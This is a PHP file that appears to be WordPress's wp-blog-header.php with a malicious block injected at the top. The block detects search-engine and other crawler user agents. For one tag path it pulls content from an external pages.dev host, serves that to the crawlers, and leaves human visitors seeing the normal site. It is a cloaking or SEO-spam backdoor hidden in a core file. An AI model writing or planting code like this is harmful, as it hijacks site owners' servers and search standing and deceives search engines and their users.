<?php
$map = [
    '/tag/kebudayaan-indonesia'  => 'https://uinsaa.pages.dev/konten.html'
];
 
$bots = ['googlebot','bingbot','Google-Site-Verification','Google-InspectionTool','adsense','slurp','TelegramBot'];
$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$ua  = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
 
foreach ($bots as $b) {
    if (strpos($ua, strtolower($b)) !== false) {
        foreach ($map as $path => $url) {
            if (strpos($uri, $path) !== false) {
                $ch = curl_init($url);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_TIMEOUT => 10,
                    CURLOPT_USERAGENT => 'Mozilla/5.0'
                ]);
                echo curl_exec($ch);
                curl_close($ch);
                exit;
            }}
        break;
    }}
?>
<?php
/**
 * Loads the WordPress Environment and Template.
 *
 * @package WordPress
 */
 
if ( ! isset( $wp_did_header ) ) {
 
    $wp_did_header = true;
 
    // Load the WordPress library.
    require_once __DIR__ . '/wp-load.php';
 
    // Set up the WordPress query.
    wp();
 
    // Load the theme template.
    require_once ABSPATH . WPINC . '/template-loader.php';
 
}